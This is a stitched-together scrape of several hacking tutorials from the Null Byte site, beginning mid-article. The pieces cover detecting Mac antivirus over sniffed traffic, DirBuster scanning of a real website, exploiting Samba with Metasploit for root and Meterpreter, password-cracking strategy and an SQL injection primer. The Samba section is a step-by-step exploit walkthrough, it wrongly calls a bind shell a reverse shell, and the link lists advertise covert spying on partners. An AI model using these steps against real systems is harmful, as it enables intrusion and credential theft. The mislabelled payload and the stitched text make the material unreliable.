solution. And another well-known paid one to be on the lookout for isClamXAV.Antivirus toolsperiodically fetchsoftware and virus definition updates, and an attacker can observe those on the network. With Avira, some updates happen over plain HTTP.This traffic is also viewable in Wireshark with the following display filter.http.host ~ "(?i)(avira|avast|avcdn|avg)"Expand any of the HTTP streams in Wireshark to find more information about traffic originating from the Mac. In my example, the unique user-agent string strongly suggests an installed application querying Avira servers (i.e., virus definition updates).At any point, the packet capture can be stopped in Wireshark and exported for further analysis with tools liketsharkandNetworkMiner. The below command will filter out user-agent strings and count how many times they appear in the PCAP file. In my case, notice the unique Avira user-agent that appears almost one hundred times.~$ tshark -r avira.pcap -n -T fields -e http.user_agent | sort | uniq -c 22337 98 @AUVI@1.1; AntiVir-uxupdate-3.10.1.1 (PERS; WKS; EN; AVE 8.3.52.180; VDF 8.15.21.164; Darwin x86_64 18.0.0; ; US; ; 2219669652-SAVXS-0000001; EN-US; 3.10.12.10; 0; 0; 0) 2 curl/7.54.0 2 Google Chrome/75.0.3770.80 Mac OS XAll of the above information gathered during a five-minute MitM attack would strongly suggest Avira as well as Avast (AVG) software is installed on the target Mac. This data would enable an attacker to emulate the environment before engaging the target with a payload designed explicitly toactively evade detection.Step 5: Detect Firewall Software (LuLu)LuLu, created byObjective-See, is an open-source firewall solution and alternative to LittleSnitch for macOS. For a tutorial on how to evade LuLu's detection system, check out "How to Bypass the LuLu Firewall in macOS."Like most modern software, LuLu has built-in functionality to fetch software updates automatically.LuLu updates are more difficult to detect as it utilizesServer Name Indication(SNI), an extension to theTLS protocol. In thebettercapterminal, the "objective-see.com" hostname will appear when queried by LuLu but is easily missed in a stream of traffic.In Wireshark, pressControl-Fto open the "Find Packet" search tool. Change the first category to "Packet details," the third category to "String," and search for "objective-see." Wireshark will snap to the nearest packet containing that string. Notice the domain in the packet details.Don't Miss:How to Bypass the LuLu Firewall in macOSSimilarly, the followinggrepcommand will filter the PCAP for any search term.~$ grep -ia 'objective-see' /path/to/capture.pcap 3pdy/3.1spdy/http/1.1objective-see.com 3pdy/3.1spdy/http/1.1objective-see.com 3pdy/3.1spdy/http/1.1objective-see.com 3pdy/3.1spdy/http/1.1objective-see.comWhile it's not definitive evidence of a LuLu update, to attackers on the network, it would only suggest one or moreObjective-See security solutionsinstalled on the operating system. From a quick look at the packets generated during a version check, there wasn't anything that strongly implicated LuLu specifically. This data would suggest the target is security conscious.ConclusionThis article covered only a fewWireshark display filters. There are manyHTTP,IP, andDNSfilters that would aid a hacker while gathering information about targets on the network.With a comprehensivelist of popular antivirus software, attackers will usually be able to say with certainty if a target macOS device has security software installed. What's worse is software enumeration can be accomplishedwithout connecting to the Wi-Fi network.Follow me on Twitter@tokyoneon_to keep up with my current projects. For questions and concerns, leave a comment or message me on Twitter.Don't Miss:Getting Started with Hacking macOSWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null ByteRelatedHacking macOS:How to Create an Undetectable PayloadHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHacking macOS:How to Perform Situational Awareness Attacks, Part 1 (Using System Profiler & ARP)How To:The Ultimate Guide to Hacking macOSHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHacking macOS:How to Bypass the LuLu Firewall with Google Chrome DependenciesHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Best Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHacking macOS:How to Remotely Eavesdrop in Real Time Using Anyone's MacBook MicrophoneHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHacking macOS:How to Hide Payloads Inside Photo MetadataHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHacking macOS:How to Secretly Livestream Someone's MacBook Screen RemotelyHow To:Check Your MacOS Computer for Malware & KeyloggersHow To:Identify Web Application Firewalls with Wafw00f & NmapHacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHacking macOS:How to Hack a Mac Password Without Changing ItHow To:Create a Bootable Install USB Drive of macOS 10.12 SierraHacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)Hacking macOS:How to Hack a MacBook with One Ruby CommandHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)Hacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)Hacking macOS:How to Configure a Backdoor on Anyone's MacBookHow To:The Definitive Guide to Android MalwareHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)Hacking macOS:How to Break into a MacBook Encrypted with FileVaultNews:Malware Targets Mac Users Through Well-Played Phishing AttackHow To:Hack MacOS with Digispark Ducky Script PayloadsHow To:Fix the 'Software Update Is Required to Connect to Your iPhone' Warning on Your MacAdvice from a Real Hacker:How to Protect Yourself from Being HackedHacking macOS:How to Hack Mojave 10.14 with a Self-Destructing PayloadHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyWindows Security:Software LevelNews:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateLockdown:The InfoSecurity Guide to Securing Your Computer, Part IHow To:Scan for Viruses in Windows Using a Linux Live CD/USB
Hack Like a Pro: How to Find Directories in Websites Using DirBuster « Null Byte :: WonderHowTo
Welcome back, my novice hackers!Before we try to attack a website, it's worthwhile understanding the structure, directories, and files that the website uses. In this way, we can begin to map an attack strategy that will be most effective.In addition, by knowing what files and directories are there, we may be able to find hidden or confidential directories and files that the webmaster does not think are viewable or accessible by the public. These may become the ultimate target of our efforts.Directory Traversal AttacksDirectory traversal is a type of attack where we can navigate out of the default or index directory that we land in by default. By navigating to other directories, we may find directories that contain information and files that are thought to be unavailable.For instance, if we want to get the password hashes on the server, we would need to navigate to/etc/shadowon a Linux or Mac OS X server. We may be able to move to that directory by executing a directory traversal, but before we can do any of this, we need to know the directory structure of the web server.OWASP, or the Open Web Application Security Project, developed a tool that is excellent for this purpose, namedDirBuster. It is basically a brute-force tool to find commonly used directory and file names in web servers.How DirBuster WorksDirBuster's methods are really quite simple. You point it at a URL and a port (usually port 80 or 443) and then you provide it with a wordlist (it comes with numerous—you only need to select which one you want to use). It then sends HTTP GET requests to the website and listens for the site's response.If the URL elicits a positive response (in the 200 range), it knows the directory or file exists. If it elicits a "forbidden" request, we can probably surmise that there is a directory or file thereandthat it is private. This may be a file or directory we want to target in our attack.HTTP Status CodesWhen the Internet was created, the W3C committee designed it to provide numeric code responses to an HTTP request to the website that would communicate its status. Basically, this is the way our browser knows whether the website exists or not (or if the server is down) and whether we may have typed the URL improperly.We all have probably see the 404 status code indicating the website is down or unavailable or we typed the URL wrong. We probably have never see the status code 200, because that indicates that everything went properly—but our browser does see it.Here is a summary of the most important HTTP status codes that every browser uses and DirBuster utilizes to find directories and files in websites.100 Continue- Codes in the 100 range indicate that, for some reason, the client request has not been completed and the client should continue.200 Successful- Codes in the 200 range generally mean the request was successful.300 Multiple Choices- Codes in the 300 range can mean many things, but generally they mean that the request was not completed.400 Bad Request- The codes in the 400 range generally signal a bad request. The most common is the 404 (not found) and 403 (forbidden).Now, let's get started using DirBuster. Once again, we are fortunate enough that it is built intoKali Linux, so it's not necessary to download or install any software.Step 1: Fire Up Kali & Open DirBusterLet's start by opening Kali and then opening DirBuster. We can find DirBuster atApplications->Kali Linux->Web Applications->Web Crawlers->dirbuster, as seen in the screenshot below.Step 2: Open DirBusterWhen we click on "dirbuster," it opens with a GUI like that below. The first step is it to type in the name of the website we want to scan. Let's go back to our friends at SANS, one of the world's leading IT security training and consulting firms. Simply type in the URL of the site you want to scan and the port number (usually 80 for HTTP and 443 for HTTPS). In this case, we will scan port 80.http://sans.org:80Step 3: Choose a WordlistThe next step is to choose a wordlist we want to use to find the directories and files. Go to the center of the GUI where it says "files with lists of dir/files" and click on "List Info" in the bottom far right. When you do, it will open a screen like that below listing all the available wordlists with a short description.Simply choose the list you want to use and enter into the "File with dir/file" field in the GUI. Here, I have chosen to use:/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txtStep 4: Start!In the final step, we simply click on the "Start" button. When we do so, DirBuster will start generating GET requests and sending them to our selected URL with a request for each of the files and directories listed in our wordlist.As you can see, after three hours of running, DirBuster is beginning to develop a directory structure of thewww.sans.orgwebsite from the responses it receives from the requests.DirBuster is another tool we can use todo reconnaissance on target websitesbefore attacking. The more information we have, the greater our chances of success.I'll keep showing you more tools and techniques for hacking, sokeep coming back, my novice hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Perform Directory Traversal & Extract Sensitive InformationHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Hack Like a Pro:Abusing DNS for ReconnaissanceHow To:Scan Websites for Interesting Directories & Files with GobusterHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Find Hidden Web Directories with DirsearchHack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Hack Like a Pro:How to Clone Any Website Using HTTrackHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)Hack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHow To:Use Websploit to Scan Websites for Hidden DirectoriesHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:How to Fingerprint Web Servers Using HttprintHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)How To:Use Trapcode plugins in Final Cut ProHack Like a Pro:How to Hack Your School's Server to Download Final Exam AnswersHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)News:Day 2 Of Our New WorldGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoogle Dorking:AmIDoinItRite?News:The Basics Of Website MarketingCongress:The Law MakersHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:Start With Site Setting For Snoft Article Directory ScriptNews:First Steps of Compiling a Program in LinuxHack Logs and Linux Commands:What's Going On Here?How To:use terminal on MAC to hack or edit plz notice this is advanced computer programing not for middle schoolHow To:Install "Incompatible" Firefox Add-Ons After Upgrading to the New FirefoxHow To:Hack Mac OS X Lion PasswordsHow To:Customize Your Linux DesktopNews:Extra Income From BloggingHow To:The Official Google+ Insider's Guide IndexNews:Laphroaig Whisky
Hack Like a Pro: Hacking Samba on Ubuntu and Installing the Meterpreter « Null Byte :: WonderHowTo
Hey, hackers! Now that you've hacked/owned your first "box" inmy last article, let's look a little closer at another great feature of Metasploit, the Meterpreter, and then let's move on to hacking a Linux system and using the Meterpreter to control and own it.Why Meterpreter?Most exploits are only capable of doing one thing—insert a command, add a user, etc. Basically, it's one and done. In addition, if we add a command shell for our exploit (among the most useful payloads we can use on the victim), we are limited to processes that can be initiated at the command line. On systems running Linux, this provides us with a powerful environment for further system control, but on Windows systems we are working with a command shell leftover from DOS and of limited functionality (Windows Server's Powershell is remedying that).If we want to add another process to the victim, we need to exploit the system again and potentially risk detection (each exploit risks being detected by an IDS/IPS, security admin, etc.). The beauty of Meterpreter is that it gives us a platform on the victim system to create more functionality. It's a service that we install on the victim system that gives us command shell capability and much more. Additionally, the Meterpreter communicates back to us encrypted for stealth. We can even write our own scripts and run them on the target system through the Meterpreter. To sum up, Meterpreter makes extracting information from the target system and covering our tracks much easier.Now that you have a basic understanding of the Meterpreter, let's hack into a Linux system, install a reverse shell, and then upgrade to the Meterpreter for our convenience and pleasure. The steps are going to be essentially the same as inour previous hack, except that we change the exploit and payload.Getting StartedMost Linux systems run a process called Samba which makes its file system transparent to Windows systems (or vice versa). This process has long history of vulnerabilities that we can exploit. So, to hack our Linux system, we start a Linux system and start the Samba service.To begin, open up a terminal.Step1Open MetaspolitType:msfconsoleWe should get a command prompt that looks like this:msf >Step2Search for Samba ExploitsSimilar to ourhack of the Windows XP system, we can search Metasploit for a specific exploit by using the search function.Type:msf > search sambaMetasploit will return a list of modules that include samba in its name, as seen below.Notice under exploits that there's one called linux/samba/lsa_transnames_heap. Let's use this one.We can then type theusecommand with this exploit.msf > use linux/samba/lsa_transnames_heapNotice that the Metasploit command prompt has changed to reflect our chosen exploit.Step3Load a PayloadNow we ask Metasploit to show us the payloads that will work with this exploit by typing:msf > (exploit)  linux/samba/lsa_transnames_heap  > show payloadsNotice the long list of payloads that we might use for this particular exploit. In our case, we will use the linux/x86/shell_bind_tcp. This is a reverse shell capable of running on x86 systems and uses TCP. We should then type:msf > exploit( linux/samba/lsa_transnames_heap)  >  set payload linux/x86/shell_bind_tcpNotice above that Metasploit acknowledges our choice of payloads. We still have to set the LPORT (local port) and RHOST (remote host). This can be done by entering:msf > exploit(  linux/samba/lsa_transnames_heap)  >  Setg LPORT 8080msf > exploit(  linux/samba/lsa_transnames_heap)  >  Setg RHOST 192.168.0.13Notice that we used thesetgcommand instead of just thesetcommand as in earlier exploits.Setgsets the LPORT and LHOST globally, not only on this exploit. We are laying the groundwork for upgrading to the Meterpreter.Make certain that you set RHOST to the IP address of the victim system.Step4Now, We Exploit!Type:msf > exploit(linux/samba/lsa_transnames_heap)  >  exploit -zWe then get back a command shell on our Linux system. We can typewhoamiand the system returns root. We own the box! You have now successfully owned a Linux system and have root privileges. Nothing sweeter than that!Step5Upgrade to MeterpreterNow we need to upgrade our command shell to the Meterpreter. We can upgrade to the Meterpreter by typing:sessions –u  1Where theustands for upgrade.We now have a Meterpreter command that should look like this:Meterpreter>And now we are ready to rock and roll on this box!In future articles we will use the Meterpreter on our system to extract data, pivot attacks, and cover our tracks. Stay tuned!Main photo byShadow1643Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Like a Pro:Getting Started with MetasploitHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow To:Run an VNC Server on Win7Hack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHow To:Hack Android Using Kali (Remotely)How To:Create a Reusable Burner OS with Docker, Part 1: Making an Ubuntu Hacking ContainerHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Share files between an Ubuntu machine and Windows PCHack Like a Pro:How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone's PCHow To:Share Windows files with Ubuntu Linux using SambaHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Hack Any Account That Has Recovery via Phone Option Enabled (SMS) On Android:How To:Create a Reusable Burner OS with Docker, Part 2: Customizing Our Hacking ContainerHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)How To:Get Started with Kali Linux (2014 Version)Hack Like a Pro:How to Haunt Your Boss's Computer & Drive Him InsaneNews:Performance Hacks & Tweaks for LinuxNews:My Suzuki 1411 HKS Laptop with Nvdia using Ubuntu 10.04How To:Install Minecraft in Ubuntu the Right Way!How To:Get Packet Injection Capable Drivers in Linux
Hack Like a Pro: How to Crack Passwords, Part 2 (Cracking Strategy) « Null Byte :: WonderHowTo
Welcome back, my hacker apprentices!Last week, I started off mypassword cracking serieswith anintroduction on the principles and technologiesinvolved in the art of cracking passwords. In past guides, I showed some specific tools and techniques for crackingWindows,online,Wi-Fi,Linux, and evenSNMPpasswords. This series is intended to help you hone your skills in each of these areas and expand into some, as yet, untouched areas.Very often, hackers new to password cracking are looking for a single tool or technique to crack passwords, but unfortunately, that does not exist. That's fortunate for network security, though. Each type of password requires a unique strategy tailored to the situation. The situation can be the type of encryption (MD5, SHA1, NTLM, etc.), remote vs. offline, salted or unsalted, an so on. Your password cracking strategy must be specific to the situation.In this tutorial, I want to discuss password cracking strategy. Many newbie password crackers simply run their password cracking tool and expect a breakthrough. They run huge wordlists and hope for the best. If it doesn't crack the password, they are lost. Here I want to develop a multi-iteration strategy for password cracking that will work on the vast majority of passwords, though not all. No strategy will work on all passwords with the exception of the CPU and time-intensive brute force cracking.Developing a Password-Cracking StrategyI'm assuming here that we are after more than a single password. Generally, password cracking is an exercise of first capturing the hashes. In Windows systems, these are in the SAM file on local systems, LDAP in active directory systems, and /etc/shadow on Linux and UNIX systems. These hashes are one-way encryption that are unique for every password input (well, nearly every password input, to be precisely accurate). In each case, we need to know what encryption scheme is being used in order to crack the hash.For instance, Linux and Unix systems use MD5 and modern Windows systems use HMAC-MD5. Other systems may use SHA1, MD4, NTLM, etc. Make certain you know what hash is being used on the system you are trying to crack, otherwise you will spend hours or days without satisfactory results.All that having been said,John the Ripperhas an automatic hash detector that is correct about 90% of the time, but when it is wrong, there is no way to know. InCain and Abelas well as hashcat, we must tell the tool what type of hash we are trying to crack.Here we can see a screenshot of the types of hashes that we can crack using hashcat and their numeric values.Step 1: Brute Force Short PasswordsAlthough it might seem contrary to common sense, I often start by trying to brute force very short passwords. Although brute force of long passwords can be very time consuming (days or weeks), very short passwords can be brute forced in a matter of minutes.I start by trying to brute force passwords of six characters or less. Depending upon my hardware, this can usually be accomplished in a matter of minutes or hours. In many environments, this will yield at least a few passwords.In addition, I will also try to brute force all numeric passwords at this stage. Number passwords are the easiest to crack. An 8-character numeric password only requires that we try 100 million possibilities, and even a 12-character number password only requires 1 trillion possibilities. With powerful hardware, we can do this with barely breaking a sweat.Here we have configured Cain and Abel to brute force 6-character passwords that are only numbers.Step 2: Low-Hanging FruitOnce we broken a few short passwords by brute force, we will still likely have a file that has many, many hashes in it. If we trying to compromise an institutional or corporate network, we usually only need to crack a single password to begin the network compromise.Although the user whose password is cracked may have limited rights and privileges, there are many ways to escalate privileges to sysadmin or root. This means that if we can crack a single password on a network, we can likely take downthe entire network.All of the above having been said, let's next go after any low-hanging fruit. That means let's go next after those passwords that are easiest to crack. For instance, if we now the institution has a password policy that all passwords must be 8 characters, many people will make their passwords the absolute minimum.To attempt a quick and dirty pass on these hashes, simply chose a list of dictionary words that are eight characters. Running through the millions of words in such a list will generally only take only a few hours and is likely to yield a significant portion of the passwords.Step 3: Try Common PasswordsHuman beings, although we think we unique, tend to think and act similarly. Just like pack animals, we follow the herd and act similarly. The same can be said for passwords.Users want a password that fulfills their organizations minimum password policy, but also is easy to remember. That's why you will see passwords, such as "P@ssw0rD" so often. Despite its obvious simplicity, it fulfills a password policy of minimum of 8 characters, uppercase and lowercase letters, a special character, and a number. Believe it or not, this password and its variations are used numerous times.Knowing that humans tend to use these types of passwords, in my next iteration on the password hash list, I will try a password list of commonly found passwords. Numerous sites on the web include wordlists of cracked or captured passwords. In addition, you might try scraping the web to capture as many passwords as possible.Step 4: Combine Words with NumbersRunning through the low-hanging fruit in Step #2 and common passwords on Step #3 will likely yield at least a few passwords and the time it consumes is minimal. Now we want to attack the remaining hashes and take the next step in complexity.In this iteration, we will run the remaining hashes through a wordlist that has longer dictionary words and dictionary words with numbers. Users, because they are forced to change passwords periodically, will often just add numbers to the beginning or end of their passwords. Some of our password cracking tools like hashcat and John the Ripper allow us to use rules to apply to wordlist to combine words, append and prepend numbers, change case, etc.Step 5: Hybrid AttackBy now we have usually cracked over 50% of the passwords in Steps #1 through #4, but we have the harder work ahead to crack the more intransigent passwords. These passwords will often include special characters and combined words.These would include such passwords as "socc3rmom" and "n3xtb1gth1ng". These are relatively strong passwords including special characters and numbers, but because they include variations on dictionary words they are often easily crackable.Next, we need a password list that combines dictionary words with numbers and special characters. Fortunately, this is something that John the Ripper does automatically, but other password crackers (Cain and Abel) don't necessarily. Hashcat can be run with one of its many rule sets to combine words and special characters to your wordlist.In this screenshot, we can see the combinator rule in hashcat that adds upper case characters to combined words.Step 6: Finally, if All Else Fails...If all else fails, you are left to brute force the passwords. This can very slow with a single CPU, but can speeded up 1000x or more with a botnet, a password cracking ASIC, or a very fast multiple GPU password cracker (I'll be doing tutorials on each of these in the near future). Among the fastest of these, a 25 GPU password cracker is capable of 348 billion hashes per second!Even when we are left with a brute force attack, we can be strategic about it. For instance, if we know that the password policy is a minimum of 8 characters, try brute forcing with just eight characters. It will save you time and likely yield some passwords.In addition, you can choose your character set. Once again, if we know that the password policy is uppercase, lowercase, and a number, choose only those character sets to brute force.Finally, some password crackers like hashcat (look for my upcoming tutorial on hashcat) have built-in "policies" that you can choose to attempt the brute force. These are similar to strategies and help by shaping your attacks based on the password-construction protocol followed by a company or group.These rules can be used in other password cracking tools such John the Ripper. Here we can see a listing of these rules in hashcat (these can be used in John the Ripper, as well).It is important to be successful at password cracking that you follow a systematic strategy, no matter what tool you are using, that requires multiple iterations to crack the most passwords. This strategy generally works from the passwords that are easiest to crack to the most difficult.Of course, this strategy will in part be dependent upon the tools you are using, the wordlists that you use, and the password policy of the victim. Although, I have laid out here my password cracking strategy, yours may be different and need to be adapted to the environment your are working in.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Shutterstock (1,2)RelatedHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHack Like a Pro:How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL)Hack Like a Pro:How to Crack User Passwords in a Linux SystemHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Recover Passwords for Windows PCs Using OphcrackAdvice from a Real Hacker:How to Create Stronger PasswordsHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)Hack Like a Pro:How to Crack Private & Public SNMP Passwords Using OnesixtyoneHack Like a Pro:How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch)How To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Creating Unique and Safe Passwords, Part 1 Using WordlistsHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Learn How to Play the Market with This Data-Driven Trading BundleNews:How to Study for the White Hat Hacker Associate Certification (CWA)News:'Beast' Cracks Billions of Passwords in SecondsHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)How to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingHow To:GPU Accelerate Cracking Passwords with HashcatNews:Advanced Cracking Techniques, Part 1: Custom DictionariesRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Recover WinRAR and Zip PasswordsMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Hack Mac OS X Lion PasswordsGoodnight Byte:Coding a Web-Based Password Cracker in PythonCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:The Hacks Behind Cracking, Part 2: How to Generate Software KeysHow To:The Hacks Behind Cracking, Part 1: How to Bypass Software RegistrationHow To:Recover a Windows Password with Ophcrack
How to SQL Injection! -- Detailed Introduction. « Null Byte :: WonderHowTo
Hello NullByte!This will be my first How To series.In this tutorial you'll learn what SQL is, what SQL injection is and how it benefits you as a hacker.I strongly recommend learning at least the basics of PHP before attempting to learn/use SQL Injection.list of references;SQL WikipediaDVWALearn by trying!PHPTable of Contents:1- What are Databases?2- What is SQL and how does it work?2.1. Defining SQL.2.2. Explaining SQL's usage and Syntax.2.3. SQL's integration in other programming languages.2.4. Conclusion.3- What is SQL Injection?3.1 Defining SQL Injection.3.2 How does SQLi work?4- Final Conclusion.So, let's begin shall we?1. What Are Databases?So what is a Database? Simply put, it's the place where all your data is stored, therefore "Data-Base".Databases are basically a structure of tables, each table containing a set of Rows defining the data and columns containing the data.Image viaanony.wsLet's take this as an example.Be this our table, called "UserData".It contains 3 Rows of data, first being the "ID", second being the "Username" and third being the "Password".This way, we have some data stored for our users.So, let's break it down!Each column here contains a bunch of data specific to one entity (In this case, a user.)For example, the first column in this table contains data that belongs to the user "CyberMask", the second to the user "unicorn".So if I wanted to know CyberMask's password, I'd look for the Row "Password" corresponding the the column where the user is "CyberMask". You could think of it as an an X-axis Y-axis kinda thing.So that's a database, but what does SQL have to do with this?2. What Is SQL and How Does It Work?So what does all that hallahulla has to do with SQL?!This section will contain the following:Defining SQL.Explaining SQL's usage and Syntax.SQL's integration in other programming languages.Conclusion.Defining SQL:SQL is short for Structered-Query-Language, or Sequel as some like to call it.It is a language commonly used for database management.In short, SQL tells databases what to do.Let's say I have a million users in my database and I wanted to get the ID of a specific user, now searching manually would be insane wouldn't it?This is where SQL comes in, I want to tell the database to select the ID of CyberMask and print it out, so how does that work?Explaining SQL's usage and Syntax:Let's take a code snippet as our example:Image viaanony.wsDoes it make sense already?This is called a Query; Queries are simply pieces of code you run.They're different from other languages where each query runs separatly and independently as instructions given to the database through the database engine.So let's break it down!SELECTtells the database to select one or multiple values.IDis the value SELECT is going to select.FROMtells the database what table to use, in this case it'sUserData.WHEREhere is a condition, simply put, it's telling the database to only select ID wherecertainValue=something. In our case, we want the password from the column where the Username Row has the value CyberMask. Makes sense?So now that we've covered SQL's basic usage to retrieve data, let's go further down and explain how websites use it!SQL's integration in other programming languages:So now we know how to fetch data from the database. But how does that relate to websites hacking and other cyber entities?The answer is simple, SQL can be integrated in other languages such as PHP and C# for example.let's take PHP as an example.(PHP is a server-side programming language for web applications)Image viaanony.wsYou see how the syntax is very similiar?It's pretty simple how SQL is integrated in other languages, as for the most part the Query's syntax is almost always the same!So what does that exactly mean? It means that any website that uses a database is most likely using SQL aswell as it's a key ingredient in the database management world.Conclusion:SQL is a powerful language in it's own unique ways. Despite it's simplicity, it's used on a VERY large scale.It can be used on it's own, aswell as integrated into other programming languages.It behaves differently compared to most programming languages, as it runs individually as a set of instructions to the database.Now, we know what SQL is. How does that relate to hacking?Well, let's find out!3. What Is SQL Injection?Defining SQL Injection:SQL Injection is actually just what the name suggests, to inject SQL.No really, it's as simple as that.What you do is inject malicious code in an already existing Query, that way you can manipulate the set of instructions before it's run through the database.SQL Injection at it's best can solely give you full control of the operating system that runs the database. Imagine that.So how does that work?How does SQLi work?We'll only talk theory here for now.Let's take this form as our example:Image viaanony.wsForm runs this query:Image viaanony.wsSo let's break this down.In the php code I assigned a variable called "$username" to that textbox, so anything I type in the textbox will be put in the place of $username inside the query.As a rule of thumb, $username = whatever I type into that textbox.So in theory, if I type a query in that textbox, it should get run.Therefore the "injection" concept.Ofcourse, I would need to type a bit more than a SELECT query, but that's yet to come!4. Final Conclusion:SQL (short for Sequel) is the most used database management language.It's a simple language in the form of instructions called Queries, each instruction (Query) being run individually in real-time through the database.SQL Can be integrated in other programming languages.SQL Injection is the act of squeezing malicious code inside an existing Query.SQL Injection is used in order to gather data/run malicious code on the operating system.It can be a great addition to your skillset as a hacker.That would be all!I hope this becomes a useful contribution to the community!Furthermore, kindly point out anything you would like to see changed/improved/added to this tutorial.Cheers~CM.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from 